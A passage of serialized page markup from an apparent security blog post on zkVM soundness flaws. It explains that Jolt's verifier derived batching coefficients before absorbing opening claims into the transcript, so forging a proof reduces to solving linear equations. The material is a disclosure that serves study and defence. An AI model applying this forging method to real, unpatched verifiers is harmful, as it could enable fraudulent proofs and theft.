",{"type":21,"tag":78,"props":117409,"children":117411},{"className":117410},[6715,6716],[117412],{"type":21,"tag":153,"props":117413,"children":117415},{"className":117414},[6721],[117416],{"type":21,"tag":153,"props":117417,"children":117419},{"className":117418,"ariaHidden":3294},[6726],[117420,117449,117476,117504],{"type":21,"tag":153,"props":117421,"children":117423},{"className":117422},[6731],[117424,117429,117436,117440,117445],{"type":21,"tag":153,"props":117425,"children":117428},{"className":117426,"style":117427},[6736],"height:0.4445em;",[],{"type":21,"tag":153,"props":117430,"children":117433},{"className":117431,"style":117432},[6742,24280],"margin-right:0.0037em;",[117434],{"type":26,"value":117435},"α",{"type":21,"tag":153,"props":117437,"children":117439},{"className":117438,"style":6821},[6820],[],{"type":21,"tag":153,"props":117441,"children":117443},{"className":117442},[6826],[117444],{"type":26,"value":113606},{"type":21,"tag":153,"props":117446,"children":117448},{"className":117447,"style":6821},[6820],[],{"type":21,"tag":153,"props":117450,"children":117452},{"className":117451},[6731],[117453,117458,117463,117467,117472],{"type":21,"tag":153,"props":117454,"children":117457},{"className":117455,"style":117456},[6736],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":21,"tag":153,"props":117459,"children":117461},{"className":117460,"style":110542},[6742,24280],[117462],{"type":26,"value":110866},{"type":21,"tag":153,"props":117464,"children":117466},{"className":117465,"style":6821},[6820],[],{"type":21,"tag":153,"props":117468,"children":117470},{"className":117469},[6826],[117471],{"type":26,"value":4099},{"type":21,"tag":153,"props":117473,"children":117475},{"className":117474,"style":6821},[6820],[],{"type":21,"tag":153,"props":117477,"children":117479},{"className":117478},[6731],[117480,117484,117491,117495,117500],{"type":21,"tag":153,"props":117481,"children":117483},{"className":117482,"style":117399},[6736],[],{"type":21,"tag":153,"props":117485,"children":117488},{"className":117486,"style":117487},[6742,24280],"margin-right:0.05278em;",[117489],{"type":26,"value":117490},"β",{"type":21,"tag":153,"props":117492,"children":117494},{"className":117493,"style":6918},[6820],[],{"type":21,"tag":153,"props":117496,"children":117498},{"className":117497},[6923],[117499],{"type":26,"value":2367},{"type":21,"tag":153,"props":117501,"children":117503},{"className":117502,"style":6918},[6820],[],{"type":21,"tag":153,"props":117505,"children":117507},{"className":117506},[6731],[117508,117512],{"type":21,"tag":153,"props":117509,"children":117511},{"className":117510,"style":117364},[6736],[],{"type":21,"tag":153,"props":117513,"children":117515},{"className":117514},[6742,26],[117516],{"type":21,"tag":153,"props":117517,"children":117519},{"className":117518},[6742],[117520],{"type":26,"value":117375},{"type":21,"tag":91,"props":117522,"children":117523},{},[117524,117526],{"type":26,"value":117525},"Solve: ",{"type":21,"tag":78,"props":117527,"children":117529},{"className":117528},[6715,6716],[117530],{"type":21,"tag":153,"props":117531,"children":117533},{"className":117532},[6721],[117534],{"type":21,"tag":153,"props":117535,"children":117537},{"className":117536,"ariaHidden":3294},[6726],[117538,117564,117599],{"type":21,"tag":153,"props":117539,"children":117541},{"className":117540},[6731],[117542,117546,117551,117555,117560],{"type":21,"tag":153,"props":117543,"children":117545},{"className":117544,"style":24275},[6736],[],{"type":21,"tag":153,"props":117547,"children":117549},{"className":117548,"style":110542},[6742,24280],[117550],{"type":26,"value":110866},{"type":21,"tag":153,"props":117552,"children":117554},{"className":117553,"style":6918},[6820],[],{"type":21,"tag":153,"props":117556,"children":117558},{"className":117557},[6923],[117559],{"type":26,"value":2367},{"type":21,"tag":153,"props":117561,"children":117563},{"className":117562,"style":6918},[6820],[],{"type":21,"tag":153,"props":117565,"children":117567},{"className":117566},[6731],[117568,117572,117577,117586,117590,117595],{"type":21,"tag":153,"props":117569,"children":117571},{"className":117570,"style":6841},[6736],[],{"type":21,"tag":153,"props":117573,"children":117575},{"className":117574},[24409],[117576],{"type":26,"value":189},{"type":21,"tag":153,"props":117578,"children":117580},{"className":117579},[6742,26],[117581],{"type":21,"tag":153,"props":117582,"children":117584},{"className":117583},[6742],[117585],{"type":26,"value":117375},{"type":21,"tag":153,"props":117587,"children":117589},{"className":117588,"style":6821},[6820],[],{"type":21,"tag":153,"props":117591,"children":117593},{"className":117592},[6826],[117594],{"type":26,"value":6801},{"type":21,"tag":153,"props":117596,"children":117598},{"className":117597,"style":6821},[6820],[],{"type":21,"tag":153,"props":117600,"children":117602},{"className":117601},[6731],[117603,117607,117612,117617,117622],{"type":21,"tag":153,"props":117604,"children":117606},{"className":117605,"style":6841},[6736],[],{"type":21,"tag":153,"props":117608,"children":117610},{"className":117609,"style":117487},[6742,24280],[117611],{"type":26,"value":117490},{"type":21,"tag":153,"props":117613,"children":117615},{"className":117614},[24431],[117616],{"type":26,"value":2071},{"type":21,"tag":153,"props":117618,"children":117620},{"className":117619},[6742],[117621],{"type":26,"value":7310},{"type":21,"tag":153,"props":117623,"children":117625},{"className":117624,"style":117432},[6742,24280],[117626],{"type":26,"value":117435},{"type":21,"tag":22,"props":117628,"children":117629},{},[117630],{"type":26,"value":117631},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":21,"tag":22,"props":117633,"children":117634},{},[117635,117637,117715],{"type":26,"value":117636},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":21,"tag":78,"props":117638,"children":117640},{"className":117639},[6715,6716],[117641],{"type":21,"tag":153,"props":117642,"children":117644},{"className":117643},[6721],[117645],{"type":21,"tag":153,"props":117646,"children":117648},{"className":117647,"ariaHidden":3294},[6726],[117649],{"type":21,"tag":153,"props":117650,"children":117652},{"className":117651},[6731],[117653,117658,117664,117669,117710],{"type":21,"tag":153,"props":117654,"children":117657},{"className":117655,"style":117656},[6736],"height:1.0641em;vertical-align:-0.25em;",[],{"type":21,"tag":153,"props":117659,"children":117661},{"className":117660,"style":95344},[6742,24280],[117662],{"type":26,"value":117663},"O",{"type":21,"tag":153,"props":117665,"children":117667},{"className":117666},[24409],[117668],{"type":26,"value":189},{"type":21,"tag":153,"props":117670,"children":117672},{"className":117671},[6742],[117673,117678],{"type":21,"tag":153,"props":117674,"children":117676},{"className":117675},[6742,24280],[117677],{"type":26,"value":58695},{"type":21,"tag":153,"props":117679,"children":117681},{"className":117680},[6757],[117682],{"type":21,"tag":153,"props":117683,"children":117685},{"className":117684},[6762],[117686],{"type":21,"tag":153,"props":117687,"children":117689},{"className":117688},[6767],[117690],{"type":21,"tag":153,"props":117691,"children":117693},{"className":117692,"style":6737},[6772],[117694],{"type":21,"tag":153,"props":117695,"children":117696},{"style":6776},[117697,117701],{"type":21,"tag":153,"props":117698,"children":117700},{"className":117699,"style":6782},[6781],[],{"type":21,"tag":153,"props":117702,"children":117704},{"className":117703},[6787,6788,6789,6790],[117705],{"type":21,"tag":153,"props":117706,"children":117708},{"className":117707},[6742,6790],[117709],{"type":26,"value":4303},{"type":21,"tag":153,"props":117711,"children":117713},{"className":117712},[24431],[117714],{"type":26,"value":2071},{"type":26,"value":117716}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":21,"tag":21491,"props":117718,"children":117719},{},[],{"type":21,"tag":66,"props":117721,"children":117723},{"id":117722},"the-six-broken-systems",[117724],{"type":26,"value":117725},"The Six Broken Systems",{"type":21,"tag":22,"props":117727,"children":117728},{},[117729],{"type":21,"tag":3644,"props":117730,"children":117733},{"alt":117731,"src":117732},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":21,"tag":22,"props":117735,"children":117736},{},[117737],{"type":26,"value":117738},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":21,"tag":21491,"props":117740,"children":117741},{},[],{"type":21,"tag":114,"props":117743,"children":117745},{"id":117744},"jolt-a16z",[117746],{"type":26,"value":117747},"Jolt (a16z)",{"type":21,"tag":22,"props":117749,"children":117750},{},[117751],{"type":26,"value":117752},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":21,"tag":22,"props":117754,"children":117755},{},[117756],{"type":21,"tag":8055,"props":117757,"children":117758},{},[117759],{"type":26,"value":117760},"The proof structure:",{"type":21,"tag":143,"props":117762,"children":117764},{"code":117763},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[117765],{"type":21,"tag":78,"props":117766,"children":117767},{"__ignoreMap":7},[117768],{"type":26,"value":117763},{"type":21,"tag":22,"props":117770,"children":117771},{},[117772],{"type":21,"tag":8055,"props":117773,"children":117774},{},[117775],{"type":26,"value":117776},"The verification flow:",{"type":21,"tag":22,"props":117778,"children":117779},{},[117780],{"type":21,"tag":3644,"props":117781,"children":117784},{"alt":117782,"src":117783},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":21,"tag":22,"props":117786,"children":117787},{},[117788,117793,117795,117801,117803,117809,117811,117816],{"type":21,"tag":8055,"props":117789,"children":117790},{},[117791],{"type":26,"value":117792},"The bug:",{"type":26,"value":117794}," Each sumcheck instance provides an ",{"type":21,"tag":78,"props":117796,"children":117798},{"className":117797},[],[117799],{"type":26,"value":117800},"input_claim",{"type":26,"value":117802},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":21,"tag":78,"props":117804,"children":117806},{"className":117805},[],[117807],{"type":26,"value":117808},"opening_claims",{"type":26,"value":117810}," in the proof, but they were ",{"type":21,"tag":8055,"props":117812,"children":117813},{},[117814],{"type":26,"value":117815},"never absorbed into the transcript",{"type":26,"value":117817}," before the batching coefficients were derived.",{"type":21,"tag":22,"props":117819,"children":117820},{},[117821],{"type":21,"tag":3644,"props":117822,"children":117825},{"alt":117823,"src":117824},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":21,"tag":22,"props":117827,"children":117828},{},[117829],{"type":21,"tag":8055,"props":117830,"children":117831},{},[117832],{"type":26,"value":117833},"How sumcheck uses opening_claims:",{"type":21,"tag":22,"props":117835,"children":117836},{},[117837,117839,117845,117847,117924],{"type":26,"value":117838},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":21,"tag":78,"props":117840,"children":117842},{"className":117841},[],[117843],{"type":26,"value":117844},"BatchedClaim",{"type":26,"value":117846}," by taking a random linear combination of the individual claims ",{"type":21,"tag":78,"props":117848,"children":117850},{"className":117849},[6715,6716],[117851],{"type":21,"tag":153,"props":117852,"children":117854},{"className":117853},[6721],[117855],{"type":21,"tag":153,"props":117856,"children":117858},{"className":117857,"ariaHidden":3294},[6726],[117859],{"type":21,"tag":153,"props":117860,"children":117862},{"className":117861},[6731],[117863,117867],{"type":21,"tag":153,"props":117864,"children":117866},{"className":117865,"style":113341},[6736],[],{"type":21,"tag":153,"props":117868,"children":117870},{"className":117869},[6742],[117871,117876],{"type":21,"tag":153,"props":117872,"children":117874},{"className":117873,"style":95578},[6742,24280],[117875],{"type":26,"value":95581},{"type":21,"tag":153,"props":117877,"children":117879},{"className":117878},[6757],[117880],{"type":21,"tag":153,"props":117881,"children":117883},{"className":117882},[6762,24334],[117884,117913],{"type":21,"tag":153,"props":117885,"children":117887},{"className":117886},[6767],[117888,117908],{"type":21,"tag":153,"props":117889,"children":117891},{"className":117890,"style":95873},[6772],[117892],{"type":21,"tag":153,"props":117893,"children":117894},{"style":112773},[117895,117899],{"type":21,"tag":153,"props":117896,"children":117898},{"className":117897,"style":6782},[6781],[],{"type":21,"tag":153,"props":117900,"children":117902},{"className":117901},[6787,6788,6789,6790],[117903],{"type":21,"tag":153,"props":117904,"children":117906},{"className":117905},[6742,24280,6790],[117907],{"type":26,"value":6471},{"type":21,"tag":153,"props":117909,"children":117911},{"className":117910},[24437],[117912],{"type":26,"value":24440},{"type":21,"tag":153,"props":117914,"children":117916},{"className":117915},[6767],[117917],{"type":21,"tag":153,"props":117918,"children":117920},{"className":117919,"style":95427},[6772],[117921],{"type":21,"tag":153,"props":117922,"children":117923},{},[],{"type":26,"value":201},{"type":21,"tag":22,"props":117926,"children":117927},{},[117928],{"type":21,"tag":78,"props":117929,"children":117931},{"className":117930},[6715,6716],[117932],{"type":21,"tag":153,"props":117933,"children":117935},{"className":117934},[6721],[117936],{"type":21,"tag":153,"props":117937,"children":117939},{"className":117938,"ariaHidden":3294},[6726],[117940,117970,118111],{"type":21,"tag":153,"props":117941,"children":117943},{"className":117942},[6731],[117944,117948,117957,117961,117966],{"type":21,"tag":153,"props":117945,"children":117947},{"className":117946,"style":95259},[6736],[],{"type":21,"tag":153,"props":117949,"children":117951},{"className":117950},[6742,26],[117952],{"type":21,"tag":153,"props":117953,"children":117955},{"className":117954},[6742],[117956],{"type":26,"value":117844},{"type":21,"tag":153,"props":117958,"children":117960},{"className":117959,"style":6918},[6820],[],{"type":21,"tag":153,"props":117962,"children":117964},{"className":117963},[6923],[117965],{"type":26,"value":2367},{"type":21,"tag":153,"props":117967,"children":117969},{"className":117968,"style":6918},[6820],[],{"type":21,"tag":153,"props":117971,"children":117973},{"className":117972},[6731],[117974,117979,118036,118040,118098,118102,118107],{"type":21,"tag":153,"props":117975,"children":117978},{"className":117976,"style":117977},[6736],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":21,"tag":153,"props":117980,"children":117982},{"className":117981},[24316],[117983,117988],{"type":21,"tag":153,"props":117984,"children":117986},{"className":117985,"style":24323},[24316,24321,24322],[117987],{"type":26,"value":111139},{"type":21,"tag":153,"props":117989,"children":117991},{"className":117990},[6757],[117992],{"type":21,"tag":153,"props":117993,"children":117995},{"className":117994},[6762,24334],[117996,118025],{"type":21,"tag":153,"props":117997,"children":117999},{"className":117998},[6767],[118000,118020],{"type":21,"tag":153,"props":118001,"children":118003},{"className":118002,"style":116551},[6772],[118004],{"type":21,"tag":153,"props":118005,"children":118006},{"style":24347},[118007,118011],{"type":21,"tag":153,"props":118008,"children":118010},{"className":118009,"style":6782},[6781],[],{"type":21,"tag":153,"props":118012,"children":118014},{"className":118013},[6787,6788,6789,6790],[118015],{"type":21,"tag":153,"props":118016,"children":118018},{"className":118017},[6742,24280,6790],[118019],{"type":26,"value":6471},{"type":21,"tag":153,"props":118021,"children":118023},{"className":118022},[24437],[118024],{"type":26,"value":24440},{"type":21,"tag":153,"props":118026,"children":118028},{"className":118027},[6767],[118029],{"type":21,"tag":153,"props":118030,"children":118032},{"className":118031,"style":116831},[6772],[118033],{"type":21,"tag":153,"props":118034,"children":118035},{},[],{"type":21,"tag":153,"props":118037,"children":118039},{"className":118038,"style":6859},[6820],[],{"type":21,"tag":153,"props":118041,"children":118043},{"className":118042},[6742],[118044,118049],{"type":21,"tag":153,"props":118045,"children":118047},{"className":118046,"style":117432},[6742,24280],[118048],{"type":26,"value":117435},{"type":21,"tag":153,"props":118050,"children":118052},{"className":118051},[6757],[118053],{"type":21,"tag":153,"props":118054,"children":118056},{"className":118055},[6762,24334],[118057,118087],{"type":21,"tag":153,"props":118058,"children":118060},{"className":118059},[6767],[118061,118082],{"type":21,"tag":153,"props":118062,"children":118064},{"className":118063,"style":95873},[6772],[118065],{"type":21,"tag":153,"props":118066,"children":118068},{"style":118067},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[118069,118073],{"type":21,"tag":153,"props":118070,"children":118072},{"className":118071,"style":6782},[6781],[],{"type":21,"tag":153,"props":118074,"children":118076},{"className":118075},[6787,6788,6789,6790],[118077],{"type":21,"tag":153,"props":118078,"children":118080},{"className":118079},[6742,24280,6790],[118081],{"type":26,"value":6471},{"type":21,"tag":153,"props":118083,"children":118085},{"className":118084},[24437],[118086],{"type":26,"value":24440},{"type":21,"tag":153,"props":118088,"children":118090},{"className":118089},[6767],[118091],{"type":21,"tag":153,"props":118092,"children":118094},{"className":118093,"style":95427},[6772],[118095],{"type":21,"tag":153,"props":118096,"children":118097},{},[],{"type":21,"tag":153,"props":118099,"children":118101},{"className":118100,"style":6821},[6820],[],{"type":21,"tag":153,"props":118103,"children":118105},{"className":118104},[6826],[118106],{"type":26,"value":113606},{"type":21,"tag":153,"props":118108,"children":118110},{"className":118109,"style":6821},[6820],[],{"type":21,"tag":153,"props":118112,"children":118114},{"className":118113},[6731],[118115,118119],{"type":21,"tag":153,"props":118116,"children":118118},{"className":118117,"style":113341},[6736],[],{"type":21,"tag":153,"props":118120,"children":118122},{"className":118121},[6742],[118123,118128],{"type":21,"tag":153,"props":118124,"children":118126},{"className":118125,"style":95578},[6742,24280],[118127],{"type":26,"value":95581},{"type":21,"tag":153,"props":118129,"children":118131},{"className":118130},[6757],[118132],{"type":21,"tag":153,"props":118133,"children":118135},{"className":118134},[6762,24334],[118136,118165],{"type":21,"tag":153,"props":118137,"children":118139},{"className":118138},[6767],[118140,118160],{"type":21,"tag":153,"props":118141,"children":118143},{"className":118142,"style":95873},[6772],[118144],{"type":21,"tag":153,"props":118145,"children":118146},{"style":112773},[118147,118151],{"type":21,"tag":153,"props":118148,"children":118150},{"className":118149,"style":6782},[6781],[],{"type":21,"tag":153,"props":118152,"children":118154},{"className":118153},[6787,6788,6789,6790],[118155],{"type":21,"tag":153,"props":118156,"children":118158},{"className":118157},[6742,24280,6790],[118159],{"type":26,"value":6471},{"type":21,"tag":153,"props":118161,"children":118163},{"className":118162},[24437],[118164],{"type":26,"value":24440},{"type":21,"tag":153,"props":118166,"children":118168},{"className":118167},[6767],[118169],{"type":21,"tag":153,"props":118170,"children":118172},{"className":118171,"style":95427},[6772],[118173],{"type":21,"tag":153,"props":118174,"children":118175},{},[],{"type":21,"tag":22,"props":118177,"children":118178},{},[118179,118181,118258,118260,118265,118267,118344,118346,118423,118425,118502],{"type":26,"value":118180},"where ",{"type":21,"tag":78,"props":118182,"children":118184},{"className":118183},[6715,6716],[118185],{"type":21,"tag":153,"props":118186,"children":118188},{"className":118187},[6721],[118189],{"type":21,"tag":153,"props":118190,"children":118192},{"className":118191,"ariaHidden":3294},[6726],[118193],{"type":21,"tag":153,"props":118194,"children":118196},{"className":118195},[6731],[118197,118201],{"type":21,"tag":153,"props":118198,"children":118200},{"className":118199,"style":112314},[6736],[],{"type":21,"tag":153,"props":118202,"children":118204},{"className":118203},[6742],[118205,118210],{"type":21,"tag":153,"props":118206,"children":118208},{"className":118207,"style":117432},[6742,24280],[118209],{"type":26,"value":117435},{"type":21,"tag":153,"props":118211,"children":118213},{"className":118212},[6757],[118214],{"type":21,"tag":153,"props":118215,"children":118217},{"className":118216},[6762,24334],[118218,118247],{"type":21,"tag":153,"props":118219,"children":118221},{"className":118220},[6767],[118222,118242],{"type":21,"tag":153,"props":118223,"children":118225},{"className":118224,"style":95873},[6772],[118226],{"type":21,"tag":153,"props":118227,"children":118228},{"style":118067},[118229,118233],{"type":21,"tag":153,"props":118230,"children":118232},{"className":118231,"style":6782},[6781],[],{"type":21,"tag":153,"props":118234,"children":118236},{"className":118235},[6787,6788,6789,6790],[118237],{"type":21,"tag":153,"props":118238,"children":118240},{"className":118239},[6742,24280,6790],[118241],{"type":26,"value":6471},{"type":21,"tag":153,"props":118243,"children":118245},{"className":118244},[24437],[118246],{"type":26,"value":24440},{"type":21,"tag":153,"props":118248,"children":118250},{"className":118249},[6767],[118251],{"type":21,"tag":153,"props":118252,"children":118254},{"className":118253,"style":95427},[6772],[118255],{"type":21,"tag":153,"props":118256,"children":118257},{},[],{"type":26,"value":118259}," are random coefficients derived from the transcript. Since ",{"type":21,"tag":78,"props":118261,"children":118263},{"className":118262},[],[118264],{"type":26,"value":117808},{"type":26,"value":118266}," (containing ",{"type":21,"tag":78,"props":118268,"children":118270},{"className":118269},[6715,6716],[118271],{"type":21,"tag":153,"props":118272,"children":118274},{"className":118273},[6721],[118275],{"type":21,"tag":153,"props":118276,"children":118278},{"className":118277,"ariaHidden":3294},[6726],[118279],{"type":21,"tag":153,"props":118280,"children":118282},{"className":118281},[6731],[118283,118287],{"type":21,"tag":153,"props":118284,"children":118286},{"className":118285,"style":113341},[6736],[],{"type":21,"tag":153,"props":118288,"children":118290},{"className":118289},[6742],[118291,118296],{"type":21,"tag":153,"props":118292,"children":118294},{"className":118293,"style":95578},[6742,24280],[118295],{"type":26,"value":95581},{"type":21,"tag":153,"props":118297,"children":118299},{"className":118298},[6757],[118300],{"type":21,"tag":153,"props":118301,"children":118303},{"className":118302},[6762,24334],[118304,118333],{"type":21,"tag":153,"props":118305,"children":118307},{"className":118306},[6767],[118308,118328],{"type":21,"tag":153,"props":118309,"children":118311},{"className":118310,"style":95873},[6772],[118312],{"type":21,"tag":153,"props":118313,"children":118314},{"style":112773},[118315,118319],{"type":21,"tag":153,"props":118316,"children":118318},{"className":118317,"style":6782},[6781],[],{"type":21,"tag":153,"props":118320,"children":118322},{"className":118321},[6787,6788,6789,6790],[118323],{"type":21,"tag":153,"props":118324,"children":118326},{"className":118325},[6742,24280,6790],[118327],{"type":26,"value":6471},{"type":21,"tag":153,"props":118329,"children":118331},{"className":118330},[24437],[118332],{"type":26,"value":24440},{"type":21,"tag":153,"props":118334,"children":118336},{"className":118335},[6767],[118337],{"type":21,"tag":153,"props":118338,"children":118340},{"className":118339,"style":95427},[6772],[118341],{"type":21,"tag":153,"props":118342,"children":118343},{},[],{"type":26,"value":118345},") were not in the transcript, the ",{"type":21,"tag":78,"props":118347,"children":118349},{"className":118348},[6715,6716],[118350],{"type":21,"tag":153,"props":118351,"children":118353},{"className":118352},[6721],[118354],{"type":21,"tag":153,"props":118355,"children":118357},{"className":118356,"ariaHidden":3294},[6726],[118358],{"type":21,"tag":153,"props":118359,"children":118361},{"className":118360},[6731],[118362,118366],{"type":21,"tag":153,"props":118363,"children":118365},{"className":118364,"style":112314},[6736],[],{"type":21,"tag":153,"props":118367,"children":118369},{"className":118368},[6742],[118370,118375],{"type":21,"tag":153,"props":118371,"children":118373},{"className":118372,"style":117432},[6742,24280],[118374],{"type":26,"value":117435},{"type":21,"tag":153,"props":118376,"children":118378},{"className":118377},[6757],[118379],{"type":21,"tag":153,"props":118380,"children":118382},{"className":118381},[6762,24334],[118383,118412],{"type":21,"tag":153,"props":118384,"children":118386},{"className":118385},[6767],[118387,118407],{"type":21,"tag":153,"props":118388,"children":118390},{"className":118389,"style":95873},[6772],[118391],{"type":21,"tag":153,"props":118392,"children":118393},{"style":118067},[118394,118398],{"type":21,"tag":153,"props":118395,"children":118397},{"className":118396,"style":6782},[6781],[],{"type":21,"tag":153,"props":118399,"children":118401},{"className":118400},[6787,6788,6789,6790],[118402],{"type":21,"tag":153,"props":118403,"children":118405},{"className":118404},[6742,24280,6790],[118406],{"type":26,"value":6471},{"type":21,"tag":153,"props":118408,"children":118410},{"className":118409},[24437],[118411],{"type":26,"value":24440},{"type":21,"tag":153,"props":118413,"children":118415},{"className":118414},[6767],[118416],{"type":21,"tag":153,"props":118417,"children":118419},{"className":118418,"style":95427},[6772],[118420],{"type":21,"tag":153,"props":118421,"children":118422},{},[],{"type":26,"value":118424}," values are independent of ",{"type":21,"tag":78,"props":118426,"children":118428},{"className":118427},[6715,6716],[118429],{"type":21,"tag":153,"props":118430,"children":118432},{"className":118431},[6721],[118433],{"type":21,"tag":153,"props":118434,"children":118436},{"className":118435,"ariaHidden":3294},[6726],[118437],{"type":21,"tag":153,"props":118438,"children":118440},{"className":118439},[6731],[118441,118445],{"type":21,"tag":153,"props":118442,"children":118444},{"className":118443,"style":113341},[6736],[],{"type":21,"tag":153,"props":118446,"children":118448},{"className":118447},[6742],[118449,118454],{"type":21,"tag":153,"props":118450,"children":118452},{"className":118451,"style":95578},[6742,24280],[118453],{"type":26,"value":95581},{"type":21,"tag":153,"props":118455,"children":118457},{"className":118456},[6757],[118458],{"type":21,"tag":153,"props":118459,"children":118461},{"className":118460},[6762,24334],[118462,118491],{"type":21,"tag":153,"props":118463,"children":118465},{"className":118464},[6767],[118466,118486],{"type":21,"tag":153,"props":118467,"children":118469},{"className":118468,"style":95873},[6772],[118470],{"type":21,"tag":153,"props":118471,"children":118472},{"style":112773},[118473,118477],{"type":21,"tag":153,"props":118474,"children":118476},{"className":118475,"style":6782},[6781],[],{"type":21,"tag":153,"props":118478,"children":118480},{"className":118479},[6787,6788,6789,6790],[118481],{"type":21,"tag":153,"props":118482,"children":118484},{"className":118483},[6742,24280,6790],[118485],{"type":26,"value":6471},{"type":21,"tag":153,"props":118487,"children":118489},{"className":118488},[24437],[118490],{"type":26,"value":24440},{"type":21,"tag":153,"props":118492,"children":118494},{"className":118493},[6767],[118495],{"type":21,"tag":153,"props":118496,"children":118498},{"className":118497,"style":95427},[6772],[118499],{"type":21,"tag":153,"props":118500,"children":118501},{},[],{"type":26,"value":355},{"type":21,"tag":22,"props":118504,"children":118505},{},[118506],{"type":21,"tag":8055,"props":118507,"children":118508},{},[118509],{"type":26,"value":118510},"Why it's linear:",{"type":21,"tag":22,"props":118512,"children":118513},{},[118514,118516],{"type":26,"value":118515},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":21,"tag":78,"props":118517,"children":118519},{"className":118518},[6715,6716],[118520],{"type":21,"tag":153,"props":118521,"children":118523},{"className":118522},[6721],[118524],{"type":21,"tag":153,"props":118525,"children":118527},{"className":118526,"ariaHidden":3294},[6726],[118528],{"type":21,"tag":153,"props":118529,"children":118531},{"className":118530},[6731],[118532,118536],{"type":21,"tag":153,"props":118533,"children":118535},{"className":118534,"style":24275},[6736],[],{"type":21,"tag":153,"props":118537,"children":118539},{"className":118538,"style":95578},[6742,24280],[118540],{"type":26,"value":95581},{"type":21,"tag":22,"props":118542,"children":118543},{},[118544],{"type":21,"tag":78,"props":118545,"children":118547},{"className":118546},[6715,6716],[118548],{"type":21,"tag":153,"props":118549,"children":118551},{"className":118550},[6721],[118552],{"type":21,"tag":153,"props":118553,"children":118555},{"className":118554,"ariaHidden":3294},[6726],[118556,118646,118672,118698],{"type":21,"tag":153,"props":118557,"children":118559},{"className":118558},[6731],[118560,118564,118633,118637,118642],{"type":21,"tag":153,"props":118561,"children":118563},{"className":118562,"style":113341},[6736],[],{"type":21,"tag":153,"props":118565,"children":118567},{"className":118566},[6742],[118568,118574],{"type":21,"tag":153,"props":118569,"children":118571},{"className":118570,"style":24812},[6742,24280],[118572],{"type":26,"value":118573},"C",{"type":21,"tag":153,"props":118575,"children":118577},{"className":118576},[6757],[118578],{"type":21,"tag":153,"props":118579,"children":118581},{"className":118580},[6762,24334],[118582,118622],{"type":21,"tag":153,"props":118583,"children":118585},{"className":118584},[6767],[118586,118617],{"type":21,"tag":153,"props":118587,"children":118590},{"className":118588,"style":118589},[6772],"height:0.3361em;",[118591],{"type":21,"tag":153,"props":118592,"children":118594},{"style":118593},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[118595,118599],{"type":21,"tag":153,"props":118596,"children":118598},{"className":118597,"style":6782},[6781],[],{"type":21,"tag":153,"props":118600,"children":118602},{"className":118601},[6787,6788,6789,6790],[118603],{"type":21,"tag":153,"props":118604,"children":118606},{"className":118605},[6742,6790],[118607],{"type":21,"tag":153,"props":118608,"children":118610},{"className":118609},[6742,26,6790],[118611],{"type":21,"tag":153,"props":118612,"children":118614},{"className":118613},[6742,6790],[118615],{"type":26,"value":118616},"final",{"type":21,"tag":153,"props":118618,"children":118620},{"className":118619},[24437],[118621],{"type":26,"value":24440},{"type":21,"tag":153,"props":118623,"children":118625},{"className":118624},[6767],[118626],{"type":21,"tag":153,"props":118627,"children":118629},{"className":118628,"style":95427},[6772],[118630],{"type":21,"tag":153,"props":118631,"children":118632},{},[],{"type":21,"tag":153,"props":118634,"children":118636},{"className":118635,"style":6918},[6820],[],{"type":21,"tag":153,"props":118638,"children":118640},{"className":118639},[6923],[118641],{"type":26,"value":2367},{"type":21,"tag":153,"props":118643,"children":118645},{"className":118644,"style":6918},[6820],[],{"type":21,"tag":153,"props":118647,"children":118649},{"className":118648},[6731],[118650,118654,118659,118663,118668],{"type":21,"tag":153,"props":118651,"children":118653},{"className":118652,"style":117427},[6736],[],{"type":21,"tag":153,"props":118655,"children":118657},{"className":118656},[6742,24280],[118658],{"type":26,"value":29},{"type":21,"tag":153,"props":118660,"children":118662},{"className":118661,"style":6821},[6820],[],{"type":21,"tag":153,"props":118664,"children":118666},{"className":118665},[6826],[118667],{"type":26,"value":113606},{"type":21,"tag":153,"props":118669,"children":118671},{"className":118670,"style":6821},[6820],[],{"type":21,"tag":153,"props":118673,"children":118675},{"className":118674},[6731],[118676,118680,118685,118689,118694],{"type":21,"tag":153,"props":118677,"children":118679},{"className":118678,"style":117456},[6736],[],{"type":21,"tag":153,"props":118681,"children":118683},{"className":118682,"style":95578},[6742,24280],[118684],{"type":26,"value":95581},{"type":21,"tag":153,"props":118686,"children":118688},{"className":118687,"style":6821},[6820],[],{"type":21,"tag":153,"props":118690,"children":118692},{"className":118691},[6826],[118693],{"type":26,"value":4099},{"type":21,"tag":153,"props":118695,"children":118697},{"className":118696,"style":6821},[6820],[],{"type":21,"tag":153,"props":118699,"children":118701},{"className":118700},[6731],[118702,118706],{"type":21,"tag":153,"props":118703,"children":118705},{"className":118704,"style":95259},[6736],[],{"type":21,"tag":153,"props":118707,"children":118709},{"className":118708},[6742,24280],[118710],{"type":26,"value":5972},{"type":21,"tag":22,"props":118712,"children":118713},{},[118714,118715,118754,118756,118781,118783,118913,118915,119036],{"type":26,"value":118180},{"type":21,"tag":78,"props":118716,"children":118718},{"className":118717},[6715,6716],[118719],{"type":21,"tag":153,"props":118720,"children":118722},{"className":118721},[6721],[118723],{"type":21,"tag":153,"props":118724,"children":118726},{"className":118725,"ariaHidden":3294},[6726],[118727],{"type":21,"tag":153,"props":118728,"